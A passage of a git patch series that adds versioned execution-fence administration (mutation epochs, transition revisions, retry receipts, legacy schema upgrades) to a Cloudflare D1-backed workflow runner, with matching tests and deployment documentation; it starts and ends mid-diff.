next = await continueWorld(world, token); + expect(world.current().durableObjectTag).toBe( + afterReconcile ? 'foreign-tag' : 'state-v2', + ); + expect(await drainWorld(world, next)).toMatchObject({ + status: 'complete', + }); + expect(world.current().durableObjectTag).toBe( + afterReconcile ? 'foreign-tag' : 'state-v2', + ); + const fresh = await world.start(uuid(2), [world.current()]); + await expect(continueWorld(world, fresh)).rejects.toThrow( + `Durable Object migration base mismatch for cedar:production: expected '${afterReconcile ? 'foreign-tag' : 'state-v2'}'`, + ); + } + } + } + }); }); diff --git a/packages/fleet-control/test/state-store.test.ts b/packages/fleet-control/test/state-store.test.ts index 67076ea1..8d2719fb 100644 --- a/packages/fleet-control/test/state-store.test.ts +++ b/packages/fleet-control/test/state-store.test.ts @@ -1298,6 +1298,44 @@ describe('D1FleetStateStore release state', () => { ).resolves.toBeUndefined(); }); + it('rejects persisted Durable Object history, digest, and tag divergence on read', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + const history = [{ tag: 'state-v1', newClasses: ['State'] }]; + const base = reservedRecord('workers-for-platforms'); + const record: FleetRecord = { + ...base, + outboundPolicy: externalPolicyAndTarget(base).outboundPolicy, + applicationResources: [], + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + durableObjectTag: 'state-v1', + durableObjectMigrationHistory: history, + durableObjectMigrationHistoryDigest: + durableObjectMigrationHistoryDigest(history), + }; + await store.withDeploymentLease('acme', 'production', (lease) => + lease.put(record), + ); + await expect(store.get('acme', 'production')).resolves.toEqual(record); + const persisted = db.row; + if (!persisted) throw new Error('missing persisted record'); + for (const corruption of [ + { durable_object_tag: 'foreign-tag' }, + { durable_object_migration_history_digest: 'f'.repeat(64) }, + { durable_object_migration_history: null }, + { durable_object_migration_history_digest: null }, + ]) { + db.row = { ...persisted, ...corruption }; + const corrupted = { ...db.row }; + await expect(store.get('acme', 'production')).rejects.toThrow( + new Error( + 'fleet state row has inconsistent Durable Object migration history', + ), + ); + expect(db.row).toEqual(corrupted); + } + }); + it('round-trips active, pending, and retained immutable release metadata', async () => { const db = new MemoryD1(); const store = new D1FleetStateStore(db, { accountId: 'account' }); diff --git a/scripts/build-api-docs.mjs b/scripts/build-api-docs.mjs index 7a73c24d..0a01ff42 100644 --- a/scripts/build-api-docs.mjs +++ b/scripts/build-api-docs.mjs @@ -59,6 +59,7 @@ function convert(optionsFile, jsonFile, htmlDirectory, revision) { 'typedoc', '--options', optionsFile, + '--treatWarningsAsErrors', '--json', jsonFile, '--out', From 6bd8bfc29dd2cabe3aa387a80c7c1b234c82eb37 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 6 Sep 2026 01:07:45 +0400 Subject: [PATCH 075/169] feat(flowsafe): version execution fence administration --- .changeset/sticky-fence-epochs.md | 7 + docs/deployment-reference.md | 14 +- docs/do-runner-design.md | 14 +- .../test/plain-worker-backend.test.ts | 37 + packages/fleet-control/test/provision.test.ts | 35 +- .../workers-for-platforms-backend.test.ts | 48 + .../test/wrangler-loop-backend.test.ts | 70 +- packages/flowsafe/README.md | 6 +- .../deployment-identity-protocol.d.mts | 27 +- .../flowsafe/deployment-identity-protocol.mjs | 250 +++- .../scripts/provisioning-pack-test.mjs | 65 +- .../scripts/seed-deployment-identity.test.mjs | 149 +- .../src/do-runner/deployment-identity.test.ts | 139 +- .../src/do-runner/durable-object.test.ts | 10 +- .../src/do-runner/execution-fence.test.ts | 1265 ++++++++++++++++- .../flowsafe/src/do-runner/execution-fence.ts | 564 ++++++-- packages/flowsafe/src/do-runner/index.ts | 1 + .../src/do-runner/start-idempotency.test.ts | 6 + .../src/execution-entry-matrix.test.ts | 22 +- .../src/host-kit/flowsafe-worker.test.ts | 164 ++- .../flowsafe/src/host-kit/flowsafe-worker.ts | 8 +- packages/flowsafe/src/host-kit/index.ts | 6 + packages/flowsafe/src/wiring-census.test.ts | 7 +- 23 files changed, 2632 insertions(+), 282 deletions(-) create mode 100644 .changeset/sticky-fence-epochs.md diff --git a/.changeset/sticky-fence-epochs.md b/.changeset/sticky-fence-epochs.md new file mode 100644 index 00000000..3bef12c1 --- /dev/null +++ b/.changeset/sticky-fence-epochs.md @@ -0,0 +1,7 @@ +--- +'@proofoftech/flowsafe': minor +--- + +Add versioned execution-fence administration with artifact epochs, a sticky epoch requirement, transition revisions, and exact last-command retry receipts. Admin reads and successful transitions return the complete versioned reading without exposing receipts. Legacy commands remain compatible only while the requirement is optional; proof metadata can bind to an admitted epoch and revision. + +Upgrade supported legacy fence schemas additively without changing existing state, proof metadata, or timestamps. A missing row in a new-format schema now fails closed instead of reopening the deployment. Administrative metadata alone does not enforce final run or schedule writes; activation requires every writer to support final-write epoch checks. diff --git a/docs/deployment-reference.md b/docs/deployment-reference.md index 0a646396..a1e6a7c7 100644 --- a/docs/deployment-reference.md +++ b/docs/deployment-reference.md @@ -32,7 +32,7 @@ Do not perform a physical-isolation cutover as an in-place update of a pooled Wo Provision the sentinel before application migrations or traffic. Install host-provided Wrangler `>=4.118 <5` in the application, then run `npx flowsafe-provision --database --tag --initial-fence-state --remote --config wrangler.jsonc`. Set distinct `DEPLOYMENT_IDENTITY_SECRET` and `MAINTENANCE_ADMIN_SECRET` values with `wrangler secret put`. Wrangler is not installed as a Flowsafe peer. The CLI is published with Flowsafe. It verifies the exact singleton schema, refuses to re-home an owned database, and refuses to adopt an unowned database that already contains application tables. -The initial fence state is required and has no default. Choose `open` for an ordinary deployment or `migration-locked` for a deployment that must remain inert until a migration completes. A database created before Flowsafe 0.20 can lack the fence table or row; runtime reads treat that absence as `open` for upgrade compatibility. +The initial fence state is required and has no default. Choose `open` for an ordinary deployment or `migration-locked` for a deployment that must remain inert until a migration completes. A database created before Flowsafe 0.20 can lack the table or have an empty five-column legacy table; those cases read as optional `open`. A missing row after any epoch/revision metadata column exists is unreadable and is never reseeded. Initialization adds the metadata columns without changing an existing row's state, proof fields, or timestamp; interrupted supported prefixes resume on retry. Treat `migration-locked` at birth as a verified postcondition. After provisioning, authenticate `GET /admin/execution-fence` and fail the provisioning operation unless the response state is `migration-locked`. This check also makes version skew loud: an older control plane that seeds a 0.20 database without establishing the required state cannot pass the postcondition. @@ -159,7 +159,15 @@ The ensure-maintenance and maintenance-status routes use the same shared-secret The deployment-identity gate runs before every control-plane route, so a binding or sentinel mismatch still returns `503` before administration. -`GET /admin/execution-fence` returns `{ state, proofKey?, proofRunId? }`. `POST /admin/execution-fence` accepts `{ expected, next, proofKey? }` and applies one CAS transition. A stale `expected` value returns `409` with `reason.code: 'FENCE_CAS_CONFLICT'` and the current state. The host owns transition policy; Flowsafe validates only the state vocabulary, CAS, and proof-key shape. +`GET` and successful `POST /admin/execution-fence` return `{ state, mutationEpoch, requireMutationEpoch, transitionRevision, proofKey?, proofRunId? }`, without internal receipts. Optional mode has epoch zero and `requireMutationEpoch: false`. Every newly applied administrative command increments the revision, including a same-state command. Proof-run binding changes neither counter. + +`POST` accepts `{ expected, next, proofKey?, expectedMutationEpoch?, expectedRevision?, advanceMutationEpoch? }`. Supply both expected counters together as nonnegative safe-integer numbers. `advanceMutationEpoch` must be boolean when supplied; true requires the expected pair, increments the epoch once, and sets the sticky requirement in that same CAS. Ordinary state changes preserve the epoch and requirement. Invalid input returns `400`, and exhausted counters never wrap. The host owns state-transition policy; entering `proof-only` requires a path-safe proof key. + +An upgraded CAS compares state, epoch, and revision. An exact retry succeeds only while that exact command is the last applied upgraded command, preserving any subsequently bound proof run and the write timestamp. Matching the resulting state is not enough. An intervening admin command invalidates the retry. A valid mismatch returns `409` with `reason.code: 'FENCE_CAS_CONFLICT'`, the full current reading, and `reason.conflict: 'expectation-mismatch'`. + +Legacy `{ expected, next, proofKey? }` requests remain valid only before activation. They increment the revision, clear the previous upgraded receipt, and retain state-only ABA semantics. After activation, they return `409` with `reason.conflict: 'versioned-expectation-required'`. Storage failures, corrupt metadata, and write outcomes that strict readback cannot prove return `503` with `EXECUTION_FENCE_UNREADABLE`. + +Administrative metadata does not establish final-write run or schedule protection. Do not activate the requirement until every writer supports final-write epoch checks. Use an authoritative D1 binding for administration and ordinary reads; an unconstrained replica facade cannot satisfy the store's freshness contract. The [runner design](do-runner-design.md#execution-fence-and-start-reservations) describes schema recovery, proof binding, and the legacy-absence limitation. `GET /admin/inventory` returns the category index. Add `?category=&cursor=&limit=` to page one category. Prove a drain only from `draining`: sweep every work category to empty twice, at least 60 seconds apart. Standing categories remain present by design, and persisted idle signals deliberately carry across the migration. @@ -253,7 +261,7 @@ TTL retention, authorized domain deletion, and deployment decommissioning are se | Schedule triggers | Opt-in fire-history TTL | | Background tasks | Terminal-state TTL | | Provider subscriptions | No TTL; authorized deletion or deployment decommissioning | -| `flowsafe_execution_fence` | Singleton deployment control row; no TTL. An absent pre-0.20 row reads as `open` | +| `flowsafe_execution_fence` | Singleton deployment state, epoch, requirement, revision, and private last-command receipt; no TTL. Only legacy absence reads as optional `open` | | `flowsafe_start_idempotency` | Terminal reservations remain for at least the run-summary horizon, then purge with run retention | | `flowsafe_resource_owners` | Run retention and schedule deletion release their claims. Thread and resource claims require explicit host teardown or deployment decommissioning | | R2 artifacts | Delete with the owning snapshot purge and deployment decommissioning | diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index 2482c654..b3b688c9 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -164,7 +164,13 @@ Flowsafe does not maintain a parallel custom workflow state object. ### Execution fence and start reservations -`flowsafe_execution_fence` stores the deployment's singleton fence state, optional proof key, and optional bound proof run. State transitions compare the caller's `expected` state before they write. A database created by Flowsafe 0.19 has no row or table, which reads as `open`; provisioning from 0.20 onward writes an explicit initial row. +`flowsafe_execution_fence` stores the deployment's singleton fence state, optional proof key, bound proof run, mutation epoch, sticky epoch requirement, and transition revision. The epoch identifies artifact authority; an explicit `advanceMutationEpoch: true` increments it once and enables the requirement in the same compare-and-set. Every newly applied administrative command increments the revision, including same-state and legacy commands. Ordinary lock, proof, and reopen commands preserve the epoch and requirement. + +A missing pre-0.20 table or empty five-column legacy table reads as optional `open`, with epoch and revision zero. Initialization seeds only that legacy shape, then adds four metadata columns in order. Interrupted additive upgrades resume without changing the state, proof fields, or timestamp. A missing row once any metadata column exists is unreadable, never implicitly open or refilled. Readers allow one bounded re-observation when an empty legacy row read races a concurrent schema upgrade. Deleting the whole table or restoring an old-format backup is indistinguishable from genuine legacy absence. + +Store reads are uncached and require an authoritative database binding, not an unconstrained read replica. Metadata versioning is administrative state, not a guarantee that every run or schedule writer enforces it. Activate the epoch requirement only after every writer supports final-write epoch checks; administrative support alone is insufficient. + +`recordProofRun(key, runId, admitted)` binds proof metadata only at the admitted epoch and revision. Two-argument legacy calls work only while the requirement is optional. Neither form changes the administrative revision or receipt, and a retry of the same binding preserves its timestamp. This metadata write is not itself atomic run admission. `flowsafe_start_idempotency` stores owner, target, server-minted run ID, reservation state, and timestamps. The claim from `reserved` to `started` is the cross-isolate serializer. Terminal run cleanup pairs snapshot and reservation retention so a spent key remains distinguishable from a fresh key until its configured horizon expires. @@ -312,7 +318,11 @@ GET /admin/inventory All three require a bearer token matching `MAINTENANCE_ADMIN_SECRET`, which must differ from `DEPLOYMENT_IDENTITY_SECRET`. The deployment-identity gate still runs first. A mis-provisioned deployment therefore returns `503` before an operator can read or move its fence. -`GET /admin/execution-fence` returns `{ state, proofKey?, proofRunId? }`. `POST /admin/execution-fence` accepts `{ expected, next, proofKey? }`; a stale expectation returns `409` with `reason.code: 'FENCE_CAS_CONFLICT'` and the current state. +`GET` and successful `POST /admin/execution-fence` both return `{ state, mutationEpoch, requireMutationEpoch, transitionRevision, proofKey?, proofRunId? }`. `POST` accepts `{ expected, next, proofKey?, expectedMutationEpoch?, expectedRevision?, advanceMutationEpoch? }`. Supply both expected counters together as nonnegative safe-integer numbers. The advance flag is boolean, defaults to false, and requires the expected pair when true. Invalid fields return `400`; counters never wrap. The host continues to own transition policy, and `proofKey` is required only when entering `proof-only`. + +An upgraded command compares state, epoch, and revision in one UPDATE. Its exact retry converges only while its canonical command remains the last applied upgraded command. A matching resulting state alone is insufficient. A successful retry preserves an already-bound proof run and the original timestamp; an intervening administrative command makes the old retry conflict. The internal receipt is never returned over HTTP. + +A valid conditional miss returns `409` with `reason.code: 'FENCE_CAS_CONFLICT'`, the full current reading, and `reason.conflict: 'expectation-mismatch'`. Legacy state-only requests remain compatible before activation, retain their state-only ABA limitation, and clear the last upgraded receipt. After activation they return `versioned-expectation-required`. An uncertain write returns `503` unless strict readback proves the exact last command; malformed state or an invalid write-result envelope always returns `EXECUTION_FENCE_UNREADABLE`. `GET /admin/inventory` returns an index or one keyset-paginated category selected with `?category&cursor&limit`. The work categories are `runs`, `approvals-waiting`, `schedule-deferred-dispatches`, `pending-notifications`, `background-tasks`, `resource-owners`, and `start-reservations`. The standing categories are `schedules` and `signal-subscriptions`; they are reported for reconciliation and never required to empty. diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index d2d7688b..d5644e78 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -29,8 +29,45 @@ import { type FenceAssertionMode, PlainWorkerProvisioningApiFake, } from './fixtures/plain-worker-provisioning-api-fake.js'; +import { D1State } from './fixtures/provider-world.js'; const RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1'; + +it('seeds optional FS8 metadata through string-bound provider SQL', async () => { + const api = new PlainWorkerProvisioningApiFake('per-request'); + const d1 = new D1State(); + const query = api.queryDatabase.bind(api); + api.queryDatabase = async (databaseId, sql, bindings = []) => { + await query(databaseId, sql, bindings); + expect(databaseId).toBe(database.id); + const parameters = bindings.map((value) => { + if (typeof value !== 'string') + throw new Error('fence parameters must be strings'); + return value; + }); + return d1.queryDatabase(sql, parameters); + }; + await backend(api).seedDeploymentIdentity(database, 'acme', api.fence(), { + initialExecutionFenceState: 'migration-locked', + }); + expect(d1.queryDatabase('SELECT * FROM flowsafe_execution_fence')).toEqual([ + { + id: 'deployment', + state: 'migration-locked', + proof_key: null, + proof_run_id: null, + updated_at: expect.any(Number), + last_transition_request: null, + transition_revision: 0, + mutation_epoch: 0, + require_mutation_epoch: 0, + }, + ]); + expect(api.queries.length).toBeGreaterThan(0); + expect(api.events.filter((event) => event === 'port-assert')).toHaveLength( + api.queries.length, + ); +}); const RECEIPT_IDENTITY: DatabaseExportReceiptIdentity = { version: 1, authority: RECEIPT_AUTHORITY, diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts index 001b78ce..5883adfe 100644 --- a/packages/fleet-control/test/provision.test.ts +++ b/packages/fleet-control/test/provision.test.ts @@ -77,6 +77,7 @@ import { decommissionAdvancingRecordFixture, } from './fixtures/decommission-intent-fixture.js'; import { memoryStore, routeApi } from './fixtures/plain-worker-port-probe.js'; +import { D1State } from './fixtures/provider-world.js'; import { type PlainWorkerFsControl, registerScratchCleanup, @@ -1051,19 +1052,37 @@ async function wranglerLoopHarness(deployment: DeploymentSpec) { throw new Error(`unexpected command ${arguments_.join(' ')}`); }, }; + const fenceState = new D1State(); const plainRouteApi: PlainWorkerRouteApi = routeApi({ async queryDatabase(_databaseId, sql, bindings = []) { + if ( + /^(?:CREATE TABLE IF NOT EXISTS|INSERT OR IGNORE INTO|ALTER TABLE) flowsafe_execution_fence\b/.test( + sql, + ) || + sql.startsWith('SELECT * FROM flowsafe_execution_fence') || + sql === 'PRAGMA table_xinfo(flowsafe_execution_fence)' + ) { + const parameters = bindings.map((value) => { + if (typeof value !== 'string') + throw new Error('fence parameters must be strings'); + return value; + }); + return fenceState.queryDatabase(sql, parameters); + } if ( sql.includes("FROM sqlite_schema WHERE type = 'table' ORDER BY name") ) { - return state.sentinelExists - ? [ - { - name: 'flowsafe_deployment', - sql: 'CREATE TABLE IF NOT EXISTS flowsafe_deployment (id INTEGER PRIMARY KEY CHECK (id = 1), tenant_tag TEXT NOT NULL, provisioned_at TEXT NOT NULL)', - }, - ] - : []; + return [ + ...fenceState.queryDatabase(sql), + ...(state.sentinelExists + ? [ + { + name: 'flowsafe_deployment', + sql: 'CREATE TABLE IF NOT EXISTS flowsafe_deployment (id INTEGER PRIMARY KEY CHECK (id = 1), tenant_tag TEXT NOT NULL, provisioned_at TEXT NOT NULL)', + }, + ] + : []), + ]; } if ( sql.includes("FROM sqlite_schema WHERE type = 'table' AND name = ?") diff --git a/packages/fleet-control/test/workers-for-platforms-backend.test.ts b/packages/fleet-control/test/workers-for-platforms-backend.test.ts index 1807fe0b..957f413f 100644 --- a/packages/fleet-control/test/workers-for-platforms-backend.test.ts +++ b/packages/fleet-control/test/workers-for-platforms-backend.test.ts @@ -46,6 +46,7 @@ import { WorkersForPlatformsBackend, } from '../src/workers-for-platforms-backend.js'; import { decommissionAdvancingRecordFixture } from './fixtures/decommission-intent-fixture.js'; +import { D1State } from './fixtures/provider-world.js'; const deployment: DeploymentSpec = { tenantTag: 'acme', @@ -248,6 +249,7 @@ function platformProfile( } class FakeApi implements WorkersForPlatformsApi { + readonly fenceState = new D1State(); readonly calls: string[] = []; residualEvents: string[] | undefined; failSecrets = false; @@ -419,8 +421,23 @@ class FakeApi implements WorkersForPlatformsApi { sql: string, bindings: readonly unknown[] = [], ): Promise>[]> { + if ( + /^(?:CREATE TABLE IF NOT EXISTS|INSERT OR IGNORE INTO|ALTER TABLE) flowsafe_execution_fence\b/.test( + sql, + ) || + sql.startsWith('SELECT * FROM flowsafe_execution_fence') || + sql === 'PRAGMA table_xinfo(flowsafe_execution_fence)' + ) { + const parameters = bindings.map((value) => { + if (typeof value !== 'string') + throw new Error('fence parameters must be strings'); + return value; + }); + return this.fenceState.queryDatabase(sql, parameters); + } if (sql.includes("FROM sqlite_schema WHERE type = 'table' ORDER BY name")) { return [ + ...this.fenceState.queryDatabase(sql), ...(this.deploymentSentinelPresent ? [{ name: 'flowsafe_deployment', sql: DEPLOYMENT_SENTINEL_DDL }] : []), @@ -2732,6 +2749,37 @@ describe('WorkersForPlatformsBackend', () => { expect(client.database).toMatchObject({ name: deployment.databaseName }); }); + it('seeds optional FS8 metadata through string-bound provider SQL', async () => { + const client = new FakeApi(); + const subject = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client, + hostRoutingKvId: 'host-routing', + }); + await subject.seedDeploymentIdentity( + { id: 'db-persisted', name: deployment.databaseName, created: false }, + 'acme', + fence, + { initialExecutionFenceState: 'migration-locked' }, + ); + expect( + client.fenceState.queryDatabase('SELECT * FROM flowsafe_execution_fence'), + ).toEqual([ + { + id: 'deployment', + state: 'migration-locked', + proof_key: null, + proof_run_id: null, + updated_at: expect.any(Number), + last_transition_request: null, + transition_revision: 0, + mutation_epoch: 0, + require_mutation_epoch: 0, + }, + ]); + expect(client.mutationFenceEntries).toBe(1); + }); + it('runs D1 ownership reads inside the provider mutation fence', async () => { const client = new FakeApi(); const subject = new WorkersForPlatformsBackend({ diff --git a/packages/fleet-control/test/wrangler-loop-backend.test.ts b/packages/fleet-control/test/wrangler-loop-backend.test.ts index dda02c43..e09e948c 100644 --- a/packages/fleet-control/test/wrangler-loop-backend.test.ts +++ b/packages/fleet-control/test/wrangler-loop-backend.test.ts @@ -26,6 +26,7 @@ import type { } from '../src/types.js'; import { WranglerLoopBackend } from '../src/wrangler-loop-backend.js'; import type { CommandResult, CommandRunner } from '../src/wrangler-runner.js'; +import { D1State } from './fixtures/provider-world.js'; const deployment: DeploymentSpec = { tenantTag: 'acme', @@ -1821,58 +1822,21 @@ export default { expect(runner.calls.map(operation)).toContain('versions upload'); }); - it('reads and seeds database ownership through fenced provider-native SQL', async () => { - const sentinelDdl = `CREATE TABLE IF NOT EXISTS flowsafe_deployment ( - id INTEGER PRIMARY KEY CHECK (id = 1), - tenant_tag TEXT NOT NULL, - provisioned_at TEXT NOT NULL -)`; - let sentinelExists = false; - let fenceExists = false; - let owner: string | undefined; + it('seeds optional FS8 metadata through string-bound provider SQL', async () => { + const d1 = new D1State(); let fenceBindings: readonly unknown[] | undefined; const runner = new FakeRunner(); const routeApi = new FakeRouteApi(); routeApi.queryHandler = async (sql, bindings) => { - let results: readonly Readonly>[] = []; - if (sql.includes("sqlite_schema WHERE type = 'table' ORDER BY name")) { - results = [ - ...(sentinelExists - ? [{ name: 'flowsafe_deployment', sql: sentinelDdl }] - : []), - ...(fenceExists - ? [{ name: 'flowsafe_execution_fence', sql: 'CREATE' }] - : []), - ]; - } else if ( - sql.includes('name = ?') && - bindings[0] === 'flowsafe_deployment' - ) { - results = sentinelExists ? [{ sql: sentinelDdl }] : []; - } else if (sql.startsWith('PRAGMA table_info')) { - results = [ - { name: 'id', type: 'INTEGER', notnull: 0, pk: 1 }, - { name: 'tenant_tag', type: 'TEXT', notnull: 1, pk: 0 }, - { name: 'provisioned_at', type: 'TEXT', notnull: 1, pk: 0 }, - ]; - } else if (sql.startsWith('SELECT id, tenant_tag')) { - results = owner ? [{ id: 1, tenant_tag: owner }] : []; - } else if ( - // Matched on the TARGET table, ahead of the generic arms: the ownership - // insert names the fence table inside its exclusion list. - sql.startsWith('CREATE TABLE IF NOT EXISTS flowsafe_execution_fence') - ) { - fenceExists = true; - } else if ( - sql.startsWith('INSERT OR IGNORE INTO flowsafe_execution_fence') - ) { + if (sql.startsWith('INSERT OR IGNORE INTO flowsafe_execution_fence')) { fenceBindings = bindings; - } else if (sql.startsWith('CREATE TABLE')) { - sentinelExists = true; - } else if (sql.startsWith('INSERT OR IGNORE')) { - owner = String(bindings[0]); } - return results; + const parameters = bindings.map((value) => { + if (typeof value !== 'string') + throw new Error('fence parameters must be strings'); + return value; + }); + return d1.queryDatabase(sql, parameters); }; const subject = backend(runner, { routeApi }); @@ -1896,7 +1860,19 @@ export default { // reaches it as a STRING — the plain-Worker adapter rejects anything else // (restD1Bindings), which is why the seeded timestamp is bound as text and // left to SQLite's INTEGER affinity. - expect(fenceExists).toBe(true); + expect(d1.queryDatabase('SELECT * FROM flowsafe_execution_fence')).toEqual([ + { + id: 'deployment', + state: 'migration-locked', + proof_key: null, + proof_run_id: null, + updated_at: expect.any(Number), + last_transition_request: null, + transition_revision: 0, + mutation_epoch: 0, + require_mutation_epoch: 0, + }, + ]); expect(fenceBindings).toEqual([ 'deployment', 'migration-locked', diff --git a/packages/flowsafe/README.md b/packages/flowsafe/README.md index 874b0ce5..6c0494ee 100644 --- a/packages/flowsafe/README.md +++ b/packages/flowsafe/README.md @@ -101,7 +101,7 @@ export class AppRunner extends DurableObjectRunner { } ``` -`init()` creates D1-backed Mastra storage from the conventional `DB` binding unless you inject storage. Workflow definitions use the same `createWorkflow()` and `createStep()` shape as Mastra. Flowsafe pins `@mastra/cloudflare-d1` 1.1.1 because the shipped D1 storage is written against that release's domain surface: it subclasses the adapter's background-tasks domain to apply the `TaskFilter.resourceId` predicate the adapter declares but omits from its SQL builder, and hand-writes the schedules, notifications, and thread-state domains the adapter does not ship at all. The pin also holds the adapter on its `@cloudflare/workers-types` v4 peer, which is the major Flowsafe and Agent Starter still build against. +`init()` creates D1-backed Mastra storage from the conventional `DB` binding unless you inject storage. Workflow definitions use the same `createWorkflow()` and `createStep()` shape as Mastra. Flowsafe pins `@mastra/cloudflare-d1` 1.1.1 because the shipped D1 storage is written against that release's domain surface: it subclasses the adapter's background-tasks domain to apply the `TaskFilter.resourceId` predicate the adapter declares but omits from its SQL builder, and hand-writes the schedules, notifications, and thread-state domains the adapter does not ship at all. The pin also holds the adapter on its `@cloudflare/workers-types` v4 peer, which is the major Flowsafe still builds against. If the deployment uses a table prefix, pass one shared constant to storage and host maintenance: @@ -302,7 +302,9 @@ Fleet control planes can import the same fail-closed sentinel implementation fro One Flowsafe deployment is one tenant, so the execution fence controls the complete deployment. `open` admits all work. `draining` refuses new run mints and future-work authoring while existing runs and deliveries finish. It still accepts new background-task enqueues and dispatches queued tasks because both are drainable work. Background-task enqueue, dispatch, and stale-task re-drive are refused in `migration-locked` and `proof-only`. Signal wakes that would mint a run persist instead. `migration-locked` refuses execution, and `proof-only` admits only the nominated start and its bound run. The fence never preempts compute already in flight. -Provisioning requires `--initial-fence-state open` or `--initial-fence-state migration-locked`; it never chooses a default. A pre-0.20 database without a fence row reads as `open`. For locked-at-birth provisioning, read `GET /admin/execution-fence` afterward and fail unless it reports `migration-locked`. +Provisioning requires `--initial-fence-state open` or `--initial-fence-state migration-locked`; it never chooses a default. An absent pre-0.20 table or empty five-column legacy table reads as optional `open`. Initialization adds epoch/revision metadata without reopening existing state. A missing row once any metadata column exists is unreadable and is never silently refilled. For locked-at-birth provisioning, read `GET /admin/execution-fence` afterward and fail unless it reports `migration-locked`. + +Administrative readings include `mutationEpoch`, `requireMutationEpoch`, and `transitionRevision`. Upgraded commands compare expected state, epoch, and revision; exact retries preserve proof bindings and timestamps while that command remains the last applied command. Advancing the epoch also sets its sticky requirement; ordinary lock, proof, and reopen transitions preserve both. These fields describe administrative state only: activate the requirement only after every run and schedule writer supports final-write epoch checks. See the [administration contract](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/deployment-reference.md#control-plane-routes) for request fields, compatibility, and conflicts. Use `GET /admin/inventory` while the fence remains `draining`. A drain is proven only after every work category is empty across two complete sweeps at least 60 seconds apart. Readings are point-in-time observations rather than snapshots and can move in either direction while draining admits work. Empty results cannot over-count, and keyset pagination never skips a row that existed before the sweep began. If you need a hard guarantee, re-sweep once after transitioning to `migration-locked`: an empty post-lock sweep is conclusive; a non-empty one means work is still outstanding, either because it entered after the proof or because the lock parked it before it finished. Return to `draining` and repeat the proof. An inventory read taken under `migration-locked` measures what the fence parked rather than what the deployment would otherwise be doing. Schedules and signal subscriptions are standing configuration and need not empty. Persisted idle signals are deliberately unenumerable and carry into the replacement deployment. diff --git a/packages/flowsafe/deployment-identity-protocol.d.mts b/packages/flowsafe/deployment-identity-protocol.d.mts index ac830e28..6a7dafa8 100644 --- a/packages/flowsafe/deployment-identity-protocol.d.mts +++ b/packages/flowsafe/deployment-identity-protocol.d.mts @@ -46,12 +46,33 @@ export const INITIAL_EXECUTION_FENCE_STATES: readonly [ 'migration-locked', ]; /** - * The fence table's schema. `do-runner/execution-fence.ts` issues this exact - * string, so the store and the provisioning protocol cannot create differently - * shaped tables. + * The current fence schema. Runtime and provisioning initialize the legacy + * singleton before adding its metadata columns through the shared protocol. */ export const EXECUTION_FENCE_DDL: string; +export type ExecutionFenceSchemaStage = 0 | 1 | 2 | 3 | 4; +export interface ExecutionFenceMutationMetadata { + readonly mutationEpoch: number; + readonly requireMutationEpoch: boolean; + readonly transitionRevision: number; + readonly lastTransitionRequest: string | null; + readonly schemaStage: ExecutionFenceSchemaStage; +} +export function readExecutionFenceSchemaProtocol( + execute: DeploymentIdentityProtocolExecutor, +): Promise; +export function decodeExecutionFenceMutationMetadata( + row: DeploymentIdentityProtocolRow, +): ExecutionFenceMutationMetadata; +export function initializeExecutionFenceProtocol( + execute: DeploymentIdentityProtocolExecutor, + options: { + state: (typeof EXECUTION_FENCE_STATES)[number]; + seededAt: number; + }, +): Promise; + /** The fence state a deployment is provisioned into. Required; no default. */ export type InitialExecutionFenceState = (typeof INITIAL_EXECUTION_FENCE_STATES)[number]; diff --git a/packages/flowsafe/deployment-identity-protocol.mjs b/packages/flowsafe/deployment-identity-protocol.mjs index 054d584b..06592d76 100644 --- a/packages/flowsafe/deployment-identity-protocol.mjs +++ b/packages/flowsafe/deployment-identity-protocol.mjs @@ -71,12 +71,39 @@ export const INITIAL_EXECUTION_FENCE_STATES = Object.freeze([ 'migration-locked', ]); -export const EXECUTION_FENCE_DDL = `CREATE TABLE IF NOT EXISTS ${EXECUTION_FENCE_TABLE} ( +const EXECUTION_FENCE_BASE_COLUMNS = ` id TEXT PRIMARY KEY CHECK (id = '${EXECUTION_FENCE_ROW_ID}'), state TEXT NOT NULL CHECK (state IN (${EXECUTION_FENCE_STATES.map((state) => `'${state}'`).join(', ')})), proof_key TEXT, proof_run_id TEXT, - updated_at INTEGER NOT NULL + updated_at INTEGER NOT NULL`; +const EXECUTION_FENCE_ADDITIONS = Object.freeze([ + 'last_transition_request TEXT', + `transition_revision INTEGER NOT NULL DEFAULT 0 + CHECK (typeof(transition_revision) = 'integer' + AND transition_revision BETWEEN 0 AND 9007199254740991)`, + `mutation_epoch INTEGER NOT NULL DEFAULT 0 + CHECK (typeof(mutation_epoch) = 'integer' + AND mutation_epoch BETWEEN 0 AND 9007199254740991)`, + `require_mutation_epoch INTEGER NOT NULL DEFAULT 0 + CHECK (typeof(require_mutation_epoch) = 'integer' + AND require_mutation_epoch IN (0, 1))`, +]); +const EXECUTION_FENCE_COLUMNS = Object.freeze([ + ['id', 'TEXT', 0, 1, null], + ['state', 'TEXT', 1, 0, null], + ['proof_key', 'TEXT', 0, 0, null], + ['proof_run_id', 'TEXT', 0, 0, null], + ['updated_at', 'INTEGER', 1, 0, null], + ['last_transition_request', 'TEXT', 0, 0, null], + ['transition_revision', 'INTEGER', 1, 0, '0'], + ['mutation_epoch', 'INTEGER', 1, 0, '0'], + ['require_mutation_epoch', 'INTEGER', 1, 0, '0'], +]); +const EXECUTION_FENCE_BOOTSTRAP_DDL = `CREATE TABLE IF NOT EXISTS ${EXECUTION_FENCE_TABLE} (${EXECUTION_FENCE_BASE_COLUMNS} + )`; +export const EXECUTION_FENCE_DDL = `CREATE TABLE IF NOT EXISTS ${EXECUTION_FENCE_TABLE} (${EXECUTION_FENCE_BASE_COLUMNS}, + ${EXECUTION_FENCE_ADDITIONS.join(',\n ')} )`; const SENTINEL_SQL_PATTERN = @@ -132,7 